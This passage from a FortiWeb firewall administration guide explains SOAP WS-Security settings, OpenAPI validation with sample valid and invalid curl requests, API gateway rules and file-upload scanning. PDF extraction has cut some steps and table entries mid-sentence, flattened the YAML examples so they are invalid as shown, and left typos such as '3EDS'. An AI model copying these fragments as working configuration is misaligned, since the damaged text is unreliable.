l Decrypt—When this operation is
selected, also configure XML
Server Certificate on page 572.
l Sign Verify—When this
operation is selected, also
configure XML Client Certificate
Group on page 572.
Available only when Security in
Request Direction on page 570 is
enabled.
Security in Response Direction Enable to configure FortiWeb to

encrypt , and sign the SOAP
messages returned from the server.

571
Security Operation Select the operation that FortiWeb

performs for the SOAP messages
returned from the server.
l Sign—When this operation is
selected, also configure
Signature Algorithm on page 572
and XML Server Certificate on
page 572.
l Encrypt—When this operation is
selected, also configure
Encryption Part on page 571,
Encrypt Algorithm on page 572,
Key Transport Algorithm on page
572, and XML Client Certificate
Group on page 572.
l Sign & Encrypt—When this
configure Encryption Part on
page 571,Signature Algorithm
on page 572, Encrypt Algorithm
on page 572, Key Transport
Algorithm on page 572, XML
Server Certificate on page 572,
and XML Client Certificate
Group on page 572.
l Encrypt & Sign—When this
configure Encryption Part on
page 571,Signature Algorithm
on page 572, Encrypt Algorithm
on page 572, Key Transport
Algorithm on page 572, XML
Server Certificate on page 572,
and XML Client Certificate
Group on page 572.
Response Direction on page 570 is
enabled.
Encryption Part Select which part of the SOAP

messages to encrypt.
l Element Value—Encrypt the
selected element value.
l Element Markup—Encrypt the
selected element along with the
element’s XML markup.

572

enabled, and the Security Operation
on page 570 is Encrypt, Sign &
Encrypt, or Encrypt & Sign.
Signature Algorithm Select the signature algorithm.

l RSA-SHA-1
l HMAC-SHA-1
If you select HMAC-SHA-1, you must
upload a shared SecretKey file from
XML Certificate > Client Certificate.
enabled, and Security Operation on
page 570 is Sign, Sign & Encrypt, or
Encrypt & Sign.
Encrypt Algorithm Select the encryption algorithm.

l 3EDS
l AES-128
l AES-256
enabled, and Security Operation on
page 570 is Encrypt, Sign & Encrypt,
or Encrypt & Sign.
Key Transport Algorithm Select the key transport algorithm.

l RSA-15
l RSA-OAEP
on page 570 is Encrypt, Sign &
Encrypt, or Encrypt & Sign.
XML Server Certificate Select the XML server certificate

uploaded from XML Certificate >
Server Certifcate.
on page 570 is Sign, Sign & Decrypt
or Decrypt & Sign.
XML Client Certificate Group Select the XML client certificate

group created from XML Certificate >
Client Certifcate Group.

573

on page 570 is Sign Verify & Decrypt
or Sign Verify.
Or
enabled, and the Security in
Encrypt, Sign & Encrypt or Encrypt &
Sign .
4. Click OK.
5. Click Create New to configure the namespace mappings table.
XML namespace mapping is included in the beginning label of an element to help prevent the element naming
conflict. by adding different prefixes for the namespace.
6. For Prefix, add a prefix for the namespace.
7. For Namespace, add the namespace.
8. Click OK.
9. Click Create New to configure the elements list.
The elements list defines the XPath and whether the XPath appies to the request or response direction.
10. For XPath, enter an XPath to specify which part of the XML file to process, for example,
/S11:Envelope/S11:Body.
11. For Apply To, select either Request or Response to define in which direction the XPath applies to.
12. Click OK.
To add a WS-Secuirty rule to an XML protection rule, see Creating XML protection rules on page 562.
OpenAPI Validation
The OpenAPI Specification (OAS) defines a standard, language-agnostic interface to RESTful APIs, which allows both
humans and computers to discover and understand the capabilities of the service without access to source code,
documentation, or through network traffic inspection. When properly defined, you can understand and interact with the
remote service with a minimal amount of implementation logic.
OpenAPI is becoming a popular tool and the de-facto standard that APIs are described. FortiWeb can parse the
OpenAPI description file and provide additional security to APIs by making sure that access is based on the definitions
described in the OpenAPI file.
FortiWeb supports OpenAPI 3.0.x(0-9).
An OpenAPI file defines or describes the API. For example, what is the API URL, what are the parameter names in the
URL, what type of data parameters should have (string, integer, etc), where are parameters submitted (URL, header,
body, etc.), and so on. For more information about OpenAPI files, see https://github.com/OAI/OpenAPI-Specification.

574
It is RECOMMENDED you use Swagger Editor to generate your OpenAPI file,

https://swagger.io/tools/swagger-editor/.
When you upgrade to FortiWeb 6.3.0, you need to re-upload your valid OpenAPI
files.
Once you upload the valid OpenAPI description file, FortiWeb will parse the file, and then block requests that do not
match the definitions in the file.
The figure below shows how FortiWeb supports OpenAPI.
Use cases
The following shows the OpenAPI file, explanations on the API call validation, and valid/invalid API examples for each
use case.
1. API server definition, single server
OpenAPI file
openapi: 3.0.0
info:
version: 1.0.0

575
title: Swagger Petstore

license:
name: MIT
servers:
- url: 'http://petstore.swagger.io/v1'
paths:
/pets:
get:
summary: List all pets
operationId: listPets
tags:
- pets
parameters:
- name: limit
in: query
description: How many items to return at one time (max 100)
required: false
schema:
type: integer
responses:
'200':
description: A paged array of pets
content:
application/json:
schema:
type: string
Explanations:
In this example, FortiWeb validates the API call from the following fields:
l The API call is based on host/url: http://petstore.swagger.io/v1.
l The API call path is /pets, so the full host/url is http://petstore.swagger.io/v1/pets.
l The API call method is "GET".
l The parameter "limit" is not required, and it must be integer type.
l The "query" means the parameter must be carried in URL parameter after "?".
Valid API request example:
curl http://petstore.swagger.io/v1/pets?limit=123 -H "Accept: application/json"
Invalid API request example:
curl http://petstore.swagger.io/v1/pets?limit=abc -H "Accept: application/json"
2. API server definition, multiple servers
OpenAPI file
openapi: 3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
- url: 'http://petstore2.com/v1'
paths:
/pets:
get:

576
tags:
- pets
parameters:
- name: limit
in: query
required: false
schema:
type: integer
responses:
'200':
content:
application/json:
schema:
type: string
Explanations:
In this example, multiple server URLs are defined:
It means the three URLs can all match the request host/URL. In another word,
http://petstore.swagger.io/v1/pets, http://petstore2.com/v1/pets, and
http://petstore3.com/v1/pets all match the method path.
Valid API request examples:
curl http://petstore2.com/v1/pets?limit=123 -H "Accept: application/json"
curl http://petstore3.com/v1/pets?limit=456 -H "Accept: application/json"
Invalid API request examples:
curl http://petstore2.com/v1/pets?limit=abc -H "Accept: application/json"
3. API path validation
OpenAPI file:
openapi: 3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets/{petId}:
get:
tags:
- pets
parameters:
- name: petId
in: path
required: false
schema:
type: integer

577
responses:
'200':
content:
application/json:
schema:
type: string
Explanations:
The "path" indicates the location of the API. The server URL and path must be combined to obtain the full
domain/URL of an API call.
In this example, the definition of the "path" is a template /pets/{petId}. petId is a parameter and it is an
integer, which is carried n the URL path.
The request domain/URL below can match the API paths:
http://petstore.swagger.io/v1/pets/123

curl http://petstore.swagger.io/v1/pets/123 -H "Accept: application/json"
curl http://petstore.swagger.io/v1/pets/abc -H "Accept: application/json"
4. API Parameter validation
The parameter validation involves complex serialized rules and attributes settings, and the following examples
show how our parameter validation works.
l The location of the parameter
The location of the parameter is described in "in" attribute. According to OpenAPI Specification, 4 locations are
supported, query, header, path, and cookie. See API server definition, single server for how to use parameter
in "query" location, and API path validation on page 576 for "path" location. The following example shows how
to use parameter in "header" location.
OpenAPI file
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
get:
tags:
- pets
parameters:
- name: limit
in: header
required: true
schema:
type: integer

578
responses:
'200':
content:
application/json:
schema:
type: string
Explanations:
In this example, the parameter "limit" is carried by HTTP header. The type is integer.
curl http://petstore.swagger.io/v1/pets/ -H "Accept: application/json" -H
"limit: 123"
curl http://petstore.swagger.io/v1/pets/ -H "Accept: application/json" -H
"limit: abc"
curl http://petstore.swagger.io/v1/pets/?limit=123 -H "Accept:
application/json"
curl http://petstore.swagger.io/v1/pets/ -H "Accept: application/json"
l The data type of the parameter
Besides "integer" and "string", FortiWeb also supports other data types: number and boolean. The following
example shows the type boolean.
OpenAPI file:
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
get:
tags:
- pets
parameters:
- name: limit
in: query
required: true
schema:
type: boolean
responses:
'200':
content:
application/json:
schema:
type: string
Explanations:

579
The data type is boolean, the value must be either true or false.
curl http://petstore.swagger.io/v1/pets?limit=true -H "Accept:
application/json"
curl http://petstore.swagger.io/v1/pets?limit=abc -H "Accept:
application/json"
l The HTTP methods
FortiWeb supports HTTP methods, GET, POST, DELETE, and PUT.
OpenAPI file:
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
post:
tags:
- pets
parameters:
- name: limit
in: query
required: true
schema:
type: boolean
responses:
'200':
content:
application/json:
schema:
type:string
Explanations:
In this example, the HTTP method POST is used.
curl -X POST http://petstore.swagger.io/v1/pets?limit=false -H "Accept:
application/json"
curl -X POST http://petstore.swagger.io/v1/pets?limit=123 -H "Accept:
application/json"
l Parameter type: array
FortiWeb also supports some complex data types, such as "array" and "object".
The "array" type can be a list of items described by simple types, such as a list of integers or strings.
OpenAPI file:

580
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
get:
tags:
- pets
parameters:
- name: limit
in: query
required: true
schema:
type: array
items:
type:integer
responses:
'200':
content:
application/json:
schema:
type:string
Explanations:
In this example, parameter type "array" is used. Parameters of the same name with be added in an array.
curl http://petstore.swagger.io/v1/pets?limit=1&imit=2 -H "Accept:
application/json"
curl http://petstore.swagger.io/v1/pets?limit=1&imit=abc -H "Accept:
application/json"
Here is an example when the object type is an aggregation of multiple simple type items.
OpenAPI file:
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
get:

581
tags:
- pets
parameters:
- name: limit
in: query
explode:false
required: true
schema:
type: object
required:
- param 1
- param 2
properties:
para1:
type:integer
para2:
type:integer
responses:
'200':
content:
application/json:
schema:
type:string
Explanations:
In "object" type, 2 items are declared, param 1 and param2, which are both integers.
curl http://petstore.swagger.io/v1/pets?limit=param1,1,param2,1 -H
"Accept:application/json"
curl http://petstore.swagger.io/v1/pets?limit=param1,1,param2,abc -H
"Accept: application/json"
l Reference of the schema
Sometimes, the schema of a parameter is long and inconvenient to be written under the parameter
declaration. FortiWeb supports schema reference.
OpenAPI file:
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
get:
tags:
- pets

582
parameters:
- name: limit
in: query
required: true
schema:
$ref: '#/components/schemas/ref'
responses:
'200':
content:
application/json:
schema:
type:string
components:
schemas:
ref:
type: integer
Explanations:
In this example, the schema of the parameter is not directly added to the context of the parameter declaration;
instead, it declares a reference: $ref: '#/components/schemas/ref'.
Then when parsed, the schema of the parameter will be obtained from components > schema > ref.
curl http://petstore.swagger.io/v1/pets?limit=123 -H "Accept:
application/json"
curl http://petstore.swagger.io/v1/pets?limit=abc -H "Accept:
application/json"
l The request body
The following example shows when you directly submit JSON data in POST body.
OpenAPI file:
openapi:3.0.0
info:
version: 1.0.0
license:
name: MIT
servers:
paths:
/pets:
post:
requestBody:
content:
- application/json:
schema:{$ref: '#/components/schemas/pet'}
responses:
'200':
content:
application/json:

583
schema:
type:string
components:
schemas:
pet:
required :
- id
- name
properties :
id :
type: integer
name :
type: string
Explanations:
If you post the data { "id":1,"name":"test"} directly to the HTTP body, FortiWeb will validate the
body directly with the schema in the OpenAPI file.
curl -X POST http://petstore.swagger.io/v1/pets -H "Accept:
application/json" -H "Content-type: application/json" -d '{
"id":1,"name":"test"}'
curl -X POST http://petstore.swagger.io/v1/pets -H "Accept:
application/json" -H "Content-type: application/json" -d '{
"id":"abc","name":"test"}'
Creating OpenAPI files

l Create an OpenAPI file
l Add an OpenAPI file to an OpenAPI validation policy
To create an OpenAPI file
1. Go to Web Protection > OpenAPI Validation > OpenAPI File.

2. To upload cross-referenced files, you can enable Upload zip, and click Choose File to upload a zip file.
3. Or just click Choose File to upload a valid OpenAPI file.
Only yaml format of OpenAPI file is supported.
4. Click OK.
5. Click to upload more files.
The figure below shows a list of OpenAPI files.

584
Select one file, you can click to remove the file or to view details of this file.
Moreover, you can also right click one file to delete it or view its details.
The following figure shows details of an OpenAPI file.
On the left, you can find the source OpenAPI file, and on the right, the parsing results including the objects
described in the file are shown.
The table below includes the objects of the OpenAPI document.
Field Name Type Description
openapi string REQUIRED. This string MUST be the semantic version

number of the OpenAPI Specification version that the
OpenAPI document uses. The openapi field SHOULD be
used by tooling specifications and clients to interpret the
OpenAPI document. This is not related to the API
info.version string.

585
Field Name Type Description
info Info Object REQUIRED. Provides metadata about the API. The
metadata MAY be used by tooling as required.
servers Server Object An array of Server Objects, which provide connectivity

information to a target server. If the servers property is
not provided, or is an empty array, the default value would be
a Server Object with a url value of /.
paths Paths Object REQUIRED. The available paths and operations for the API.
components Components Object An element to hold various schemas for the specification.
security Security Requirement A declaration of which security mechanisms can be used

Object across the API. The list of values includes alternative security
requirement objects that can be used. Only one of the
security requirement objects need to be satisfied to authorize
a request. Individual operations can override this definition.
tags Tag Object A list of tags used by the specification with additional
metadata. The order of the tags can be used to reflect on
their order by the parsing tools. Not all tags that are used by
the Operation Object must be declared. The tags that are
not declared MAY be organized randomly or based on the
tools' logic. Each tag name in the list MUST be unique.
externalDocs External Documentation Additional external documentation.

Object
To add an OpenAPI file to an OpenAPI validation policy
For details about creating an OpenAPI validation policy, see Creating OpenAPI validation policies
1. Go Web Protection > OpenAPI Validation > OpenAPI Validation Policy.
2. Select the existing OpenAPI validation policy to which you want to add the OpenAPI file.
3. Click Edit.
4. Click .
5. From the OpenAPI File drop-down list, select the OpenAPI file you want to include in the OpenAPI policy.

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You can click or right click the file to delete the file
from the policy.
6. Click OK.
7. Repeat Steps 4-6 for as many OpenAPI files as you want to add to the OpenAPI validation policy.
Creating OpenAPI validation policies

l Create an OpenAPI validation policy
l Apply an OpenAPI validation policy in a web protection profile
To create an OpenAPI validation policy
1. Go to Web Protection > OpenAPI Validation > OpenAPI Validation Policy.

Name Type a name that can be referenced by other parts of the configuration. Do
not use spaces or special characters.
Action Select which action FortiWeb will take when it detects a violation of the policy:
message.
of seconds. Also configure Block Period.
protection profile and generate an alert and/or log message.
Block Period Enter the number of seconds that you want to block subsequent requests from
a client after FortiWeb detects that the client has violated the policy. The valid
range is 1–3,600. The default value is 60.
4. This setting is available only if Action is set to Period Block.

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Severity When policy violations are recorded in the attack log, each log message
level FortiWeb will use when it logs a violation of the policy:
l Informative
l Low
l Medium
l High
Trigger Policy Select the trigger, if any, that FortiWeb will use when it logs and/or sends an
alert email about a violation of the policy. For details, see Viewing log
5. Click OK.
6. To add OpenAPI files to the policy, see To add an OpenAPI file to an OpenAPI validation policy.
To apply an OpenAPI validation policy in a web protection profile
For details about creating a web protection profile, see Configuring a protection profile for inline topologies.
2. Select an existing web protection profile to which you want to include the OpenAPI validation policy.
3. Click Edit.
4. Go to Security Configuration > Web Protection Profile.
5. Click to enter the Edit Inline Protection Profile page.
6. For OpenAPI Validation, select the OpenAPI policy from the drop down list.
You can also click to open the Edit OpenAPI Validation Policy page.
7. Click OK.

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To view the OpenAPI validation related logs
1. Go to Log&Report > Log Config > Other Log Settings.

2. From Retain Packet Payload For, enable OpenAPI Validation.
3. Go to Log&Report > Log Access > Attack.
4. Click one attack log. From the right bottom, you can see the log information.
Configuring mobile API protection
When a client accesses a web server from a mobile application, the Mobile Application Identification module checks
whether the request carries the JWT-token field and whether the token carried is valid, and sets flags for the following
cases:
l The traffic doesn't carry the JWT-token header.
l The traffic carries the JWT-token header and the token is valid.
l The traffic carries the JWT-token header, while the token is invalid.
The mobile API protection feature checks the flags. With the API protection policy and rule configured, actions set in the
protection rule will be performed.
If Mobile Application Identification is not enabled in Feature Visibility, you must

enable it before you can configure mobile API protection policy and rule. To enable
Mobile Application Identification, go to System > Config > Feature Visibility and
enable Mobile Application Identification.
This section provides instructions on:

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l How to create a mobile API protection rule

l How to create a mobile API protection policy
l How to apply a mobile API protection policy in a web protection profile
To create a mobile API protection rule
1. Go to API Protection > Mobile API Protection, select the Mobile API Protection Rule tab.
Name Enter a name that can be referenced by other parts of the configuration. You will use the
name to select the rule in a mobile API protection policy. The maximum length is 63
characters.
Host Status Enable to compare the mobile API protection rule to the Host: field in the HTTP header.
If enabled, also configure Host on page 589.
Host Select which protected host names entry (either a web host name or IP address) that the
Host: field of the HTTP request must be in to match the mobile API protection rule.
Action Select which action FortiWeb will take when it detects a violation of the rule:
l Alert—Accept the connection and generate an alert email and/or log message.
l Alert & Deny—Block the request (or reset the connection) and generate an alert
and /or log message.
l Period Block—Block subsequent requests from the client for a number of seconds.
Also configure Configuring mobile API protection on page 588.
The default value is Alert. .
Note: Logging will occur only if enabled and configured. For details, see Logging on page
698 and Alert email on page 724.
Period Block Enter the number of seconds that you want to block subsequent requests from a client
after FortiWeb detects a rule violation. This setting is available only when Action on page
589 is set to Period Block.
Severity When FortiWeb records rule violations in the attack log, each log message contains a
Severity Level field. Select the severity level that FortiWeb will record when the rule is
violated:
l Low
l Medium
l High
l Informative
Trigger Policy Select the trigger, if any, that FortiWeb carries out when it logs and/or sends an alert
email about a rule violation. For details, see Viewing log messages on page 718.

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4. Click OK.
Type Select whether the Request URL on page 590 field must contain either:
l Simple String—The field is a string that the request URL must match exactly.
l Regular Expression—The field is a regular expression that defines a set of
matching URLs.
l Simple String—Enter a literal URL, such as /folder1/index.htm that the
HTTP request must contain in order to match the rule, or use wildcards to match
multiple URLs, such as /folder1/* or /folder1/*/index.htm. The URL
l Regular Expression—A regular expression, such as ^/*.php, matching the
URLs to which the rule should apply. The pattern does not require a slash ( / ), but it
must match URLs that begin with a slash, such as /index.cfm.
To test a regular expression, click the >> (test) icon. This icon opens the Regular
Expression Validator window from which you can fine-tune the expression. For details,
see Regular expression syntax on page 880.
7. Click OK.
To create a mobile API protection policy
1. Go to API Protection > Mobile API Protection, and select the Mobile API Protection Policy tab.
3. For Name, enter a name that can be referenced by other parts of the configuration.
4. Click OK.
6. For Mobile API Protection Rule, select a mobile protection rule from the drop-down list.
You can also click to edit the protection rule or view the details.
7. Click OK.
To apply a mobile API protection policy to a web protection profile

2. Select an existing web protection profile to which you want to include the mobile API protection policy.
3. Click Edit.
4. Go to Mobile > Mobile Application Identification.
5. Enable Mobile Application Identification.

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Token Secret Enter the JWT-token secret that you get from the Approov platform.
Token Header Indicate the header that carries the JWT-token in the request.
Mobile API Protection Select the mobile API protection policy from the drop-down list.
You can also click to open the Edit Mobile API Protection Policy
page.
7. Click OK.
API gateway
API gateway provides the following functions:

l API user management
l API key verification
l API access control
l Rate limit control
l API call rewriting
Managing API users
You can define API users to restrict access to APIs based on API keys.
Creating API users
1. Go to API Gateway > API User, and select the API User tab.
Name Enter a name that identifies the user.
Email Type the email address of the user that is used for contact purpose.
Comments Optionally, enter a description or comments for the user.
Restrict Access IPs Restrict this API key so that it may only be used from the specified IP
addresses.
Both single IP addresses or IP ranges are supported.
You can enter multiple IP addresses by adding .
Restrict HTTP Referers Restrict this API key so that it may only be used when the specified
URLs are present in the Referer HTTP header. This can be used to
prevent an API key from being reused on other client-side web

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applications that don’t match this URL (but note that this does not
prevent server-side reuse where the referer could be forged).
Now only full URL such as https://example.com/foo is
supported.
You can enter multiple referers by adding .
4. Click OK.
You can continue creating multiple API users.
Once the API user is created successfully, an API key and UUID are automatically assigned to this user by
FortiWeb. The API key and UUID can not be changed, while you can append IP or HTTP referer restrictions for this
user.
Creating API user group
You can assign API users to a certain group which defines the specific permissions of the group users can perform.
1. Go to API Gateway > API User, and select the API User Group tab.
3. In Name, type a name that can be referenced by other parts of the configuration.
4. Click OK.
6. For API User, select the created API user from the drop-down list.
7. Click OK.
You can continue adding more API users to the group.
Configuring API gateway policy
This section provides instructions to

l Create an API gateway policy
l Select an API gateway policy in a web protection profile
To create an API gateway policy
1. Go to API Gateway > API Gateway Policy, and select the API Gateway Policy tab.
3. For Name, enter a name for the policy. You will use the Name to select the policy in a web protection profile.
4. Click OK.
6. For API Gateway Rule, select the rule created in Configuring API gateway rules on page 593.
7. Click OK.

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To select an API gateway policy in a web protection profile

3. Select an existing web protection profile to which you want to include the API gateway policy.
4. Click Edit.
5. For API Protection > API Gateway, select the API gateway policy from the drop down list.
6. Click OK.
7. For API Gateway Rule, select the rule created in Configuring API gateway rules on page 593.
8. Click OK.
Configuring API gateway rules
To restrict API access, you can configure certain rules involving API key verification, API key carryover, API user
grouping, sub-URL setting, and specified actions FortiWeb will take in case of any API call violation.
To create an API gateway rule
1. Go to API Gateway > API Gateway Policy, and select the API Gateway Rule tab.
configuration.
Host Status Enable to apply this rule only to HTTP requests for specific web hosts.
HTTP request must be in to match the API gateway rule.
4. Click OK.
5. For Match URL Prefixes, configure the URL prefixes to be routed to the backend.
l Click Create New.
l Enter the Frontend Prefix; the frontend prefix is the URL path in a client call, for example, /fortiweb/, the
URL is like this https://172.22.14.244/fortiweb/example.json?param=value.
l Enter the Backend Prefix; the backend prefix is the path which the client request will be replaced with, for
example, /api/v1.0/System/Status/.
After the URL rewriting, the URL is like this
https://10.200.3.183:90/api/v1.0/System/Status/example.json?param=value.
l Click OK.
You can enter multiple URL prefixes, which means multiple URL paths may math the API gateway rule.

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6. For Request Settings, configure these settings:
Attach HTTP Header Insert specific header lines into HTTP header.
API Key Verification When an user makes an API request, the API key will be included in
HTTP header or parameter, FortiWeb obtains the API key from the
request. When this option is enabled, FortiWeb verifies the key to
check whether the key belongs to an valid API user.
API Key Carried in Indicate where FortiWeb can find your API key in HTTP request:
l HTTP Parameter
l HTTP Header
Available only when API Key Verification on page 594 is Enable.
Parameter Name Enter the parameter name in which FortiWeb can find the API key
when API Key Carried in on page 594 is HTTP Parameter.
Header Field Name Enter the header filed name in which FortiWeb can find the API key
when API Key Carried in on page 594 is HTTP Header.
Allow User Group Select a user group created in API User > API User Group to
define which users have the persmission to access the API.
Rate Limit Type the number of API call requests in a certain number of seconds.
7. For Sub-URL Settings, when the user's call matches the frontend prefix, you can also define a set of sub-URL
rules to further define the subpaths.
l Click Create New.
l Configure these settings:
HTTP Method Select the HTTP method from the drop down list.
Type Select whether the URL Expression on page 594 field must contain
either:
l Simple String—The field is a string that the request URL
must exactly.
URL Expression Depending on your selection in Type on page 594, enter either:
l The literal URL, such as /folder1/index.htm that the
HTTP request must contain in order to match the rule, or use
/folder1/*/index.htm. The URL must begin with a
slash ( / ).
l A regular expression, such as ^/*.php, matching all and only

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the URLs to which the input rule should apply. The pattern
does not require a slash ( / ).; however, it must at least match
URLs that begin with a slash, such as /index.cfm.
When you have finished typing the regular expression, click

the >> (test) icon.
This opens the Regular Expression Validator window where
you can finetune the expression. For details, see Appendix D:
Regular expressions on page 880
API Key Verification When an user makes an API request, the API key will be included
in HTTP header or parameter, FortiWeb obtains the API key from
the request. When this option is enabled, FortiWeb verifies the key
to check whether the key belongs to an valid API user.
Inherit API Key Setting When this option is enabled, you don't need to specify where the
API key is carried. Instead, the Sub-URL settings will follow that in
Request Settings.
API Key Carried in Indicate where FortiWeb can find your API key in HTTP request:
l HTTP Parameter
l HTTP Header
Available only when API Key Verification on page 595 is Enable
and Inherit API Key Setting on page 595 is Disable.
Parameter Name Enter the parameter name in which FortiWeb can find the API key
when API Key Carried in on page 595 is HTTP Parameter.

Header Field Name Enter the header filed name in which FortiWeb can find the API key
when API Key Carried in on page 595 is HTTP Header.

Allow User Group Select a user group created in API User > API User Group to
define which users can make the requests.
Rate Limit Type the number of API call requests in a certain number of
seconds.
l Click OK.
Note: When API request matches both the frontend prefix and sub-URL, the settings in Sub-URL Settings
will dominate those in Request Settings.
8. For Action, FortiWeb will take the specified action when any violation is detected in the API call; for example, an
API key verification fails or a request occurrence exceeds the rate limit.

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l Configure these settings.
the policy:
l Alert—Accept the connection and generate an alert email
and/or log message.
l Alert & Deny—Block the request (or reset the connection)
and generate an alert and/or log message.
l Period Block—Block subsequent requests from the client for
a number of seconds. Also configure Block Period.
violated the policy. The valid range is 1–10,000 seconds.
This setting is available only if Action is set to Period Block.
Severity When policy violations are recorded in the attack log, each log
message contains a Severity Level (severity_level) field.
Select which severity level FortiWeb will use when it logs a
violation of the policy:
l Informative
l Low
l Medium
l High
Trigger Policy Select the trigger, if any, that FortiWeb will use when it logs and/or
sends an alert email about a violation of the policy. For details, see
l Click OK.
To apply the rule in API gateway policy, see Configuring API gateway policy on page 592.

Limiting file uploads
You can configure FortiWeb to perform the following tasks:

l Restrict file uploads based upon file type and size.
l Scan uploaded files for viruses and Trojans.
l Submit uploaded files to FortiSandbox for evaluation and generate attack log messages for files that FortiSandbox
has identified as threats.
Set restrictions according to file type and size in file security rules. Group multiple file security rules into a file security
policy. Also use a file security policy to specify how FortiWeb scans for viruses and Trojans in files.
Restricting uploads by file type and size
To perform file detection and restriction by file type and size, FortiWeb scans multipart/form-data;
boundary=..., and application/octet-stream in the Content-Type: request header and parses files
submitted to your web server(s).
For example, if you want to allow only specific types of files (MP3 audio files, PDF text files, and GIF and JPG picture
files) to be uploaded to:
http://www.example.com/upload.php
create file security rules that define only those specific file types for that URL. When FortiWeb receives an HTTP PUT or
POST request for the /upload.php URL with Host: www.example.com, it scans the HTTP request and allows or
blocks the specified file types to be uploaded. FortiWeb blocks file uploads for any HTTP request that contains non-
specified file types. When you create file security rules that define acceptable file types, you can also specify size limits
for those file types.
Restrict uploads by file type and size in file security rules. For details, see Configuring a file security rule on page 600.
l FortiWeb applies file upload limits based on file type and size to only files that
use multipart/form-data and application/octet-stream.
l For the multipart/form-data file, if the file name is empty, FortiWeb can't apply
file upload rules to it.
Using FortiSandbox to evaluate uploaded files
You can configure FortiWeb to submit all files that match your upload restriction rules to FortiSandbox. FortiWeb packs
each of the files in TAR format and sends the TAR archives to FortiSandbox.
FortiSandbox evaluates whether files pose a threat and returns the results to FortiWeb. If FortiSandbox determines that
the file is malicious, FortiWeb performs the following tasks:

l Generate an attack log message that contains the result (for example, messages with the Alert action in the
illustration).
l Take the action specified in the file security policy. During this time, FortiWeb does not resubmit the file to
FortiSandbox (for example, messages with the Alert_Deny action in the illustration).
By default, FortiWeb does not log a file transfer to FortiSandbox. You can manually
enable it through the CLI command set elog enable in system
fortisandbox. For details, see the FortiWeb CLI Reference:
When elog is enabled, FortiWeb generates a log only if a file is successfully
transferred to FortiSandbox. No logs are generated for failed transfers. You can see
the logs in Log&Report > Log Access > Event.
Example attack log with FortiSandbox file scan results
To configure a FortiSandbox connection
1. Go to System > Config > FortiSandbox.

2. Complete the settings according to the below table:
FortiSandbox Type l FortiSandbox Appliance—Submit files that match the upload

restriction rules to a FortiSandbox physical appliance or FortiSandbox-
VM.
l FortiSandbox Cloud—Submit files to FortiSandbox Cloud. You need to
register your FortiWeb and a FortiWeb FortiGuard Sandbox Cloud
Service subscription.
Server IP/Domain Enter the IP address or domain name of the FortiSandbox.

Available only when FortiSandbox Appliance is selected.
FortiSandbox Status The connectivity status of FortiSandbox is displayed here.

Available only when FortiSandbox Cloud is selected.

Cache Timeout After it receives the FortiSandbox results, FortiWeb takes the action specified
by the file security policy. During this time, it does not re-submit the file to
FortiSandbox. The valid range is 1-168 hours. The default value is 72.
Admin Email Enter the email address that FortiSandbox sends weekly reports and
notifications to.
Statistics Interval Specifies how often FortiWeb retrieves statistics from FortiSandbox, in
minutes. The valid range is 1-60 minutes. The default value is 5.
3. Click Apply.
Refer to Configuring a file security rule on page 600 and Creating a file security policy on page 601 for how to configure
the rule and policy for handling threats detected by FortiSandbox.
Using ICAP server to detect threats
The Internet Content Adaptation Protocol (ICAP) is a lightweight HTTP-based protocol, which is generally used to
implement virus scanning and content filters in transparent HTTP proxy caches.
You can configure FortiWeb to send all files that match your upload restriction rules to ICAP server.
ICAP server evaluates whether files pose a threat and returns the results to FortiWeb. If ICAP determines that the file is
malicious, FortiWeb performs the following tasks:
l Generate an attack log message that contains the result .
l Take the action specified in the file security policy. During this time, FortiWeb does not resubmit the file to ICAP
server.
By default, FortiWeb does not log a file transfer to ICAP server. You can manually
enable it through the CLI command set elog enable in system
icapserver. For details, see the FortiWeb CLI Reference:
When elog is enabled, FortiWeb generates a log only if a file is successfully
transferred to ICAP server. No logs are generated for failed transfers. You can see
the logs in Log&Report > Log Access > Event.
To configure an ICAP server connection
1. Go to System > Config > ICAP Server.

2. Complete the settings according to the below table:
Server IP / Domain Enter the IP address or domain name of the ICAP server.
Port Enter the port on which the ICAP server is listening.

When Transmission Encryption is disabled, the default port is 1344; while
when Transmission Encryption on page 600 is enabled, the default port is
11344.

Cache Timeout After it receives the ICAP results, FortiWeb takes the action specified by the
file security policy. During this time, it does not re-submit the file to ICAP
server. The valid range is 1-168 hours. The default value is 72.
Service Name The name of the ICAP service, which appears in the URL configured in the
ICAP client. For example, icap://<ip_address>/<name>.
Transmission Encryption Enable to encrypt the transmission. The port varies depending on whether this
option is enabled or not.
3. Click Test ICAP to test whether the SSL connection is established to the ICAP server.
4. Click Apply.
Refer to Configuring a file security rule on page 600 and Creating a file security policy on page 601 for how to configure
the rule and policy for handling threats detected by ICAP server.
Configuring a file security rule
1. Go to Web Protection > Input Validation > File Security and select the File Security Rule tab.
permissions to items in the Web Protection Configuration category. For details, see Permissions on page 56.
3. In Name, enter a unique name that can be referenced by other parts of the configuration. The maximum length is
63 characters.
4. In Type, select one of the following:
Allow File Types—the file security rule will allow the specified file type(s).
Block File Types—the file security rule will block the specified file type(s).
To add file types to the file security rule, click Create New. on page 601 allows you to determine which file types to
allow or block, depending on the Type you selected.
5. If you want to apply this file security rule to requests for a specific web host:
l Enable Host Status.
l From Host, select the IP address or FQDN of a protected host.
6. Disable Host Status to match the file security rule based upon the other criteria, such as the URL, regardless of
the Host: field.
If you want to apply this file security rule to a specific URL:
In Request URL, type the URL, such as /upload.php, or use wildcards to match multiple URLs, such as
/folder1/* or /folder1/*/index.htm. to which the file security rule will apply. The URL must begin with a
slash ( / ). Do not include the name of the host, such as www.example.com, which is configured separately in the
Host drop-down list above.
7. In File Upload Limit, enter a number to represent the maximum size in kilobytes for any individual file. The file
security rule rejects allowed files larger than this number. The maximum values are:
102400 KB: FortiWeb 100D, 400C, 400D, 600D, 1000C, 3000CFsx, 3000DFsx, 4000C
204800 KB: FortiWeb 1000D, 2000D, 3000D, 4000D, 1000E, 2000E, 3010E
358400 KB: FortiWeb 3000E, 4000E
Note: FortiWeb applies file upload limits to only files that use multipart/form-data and application/octet-stream.
8. Click OK.

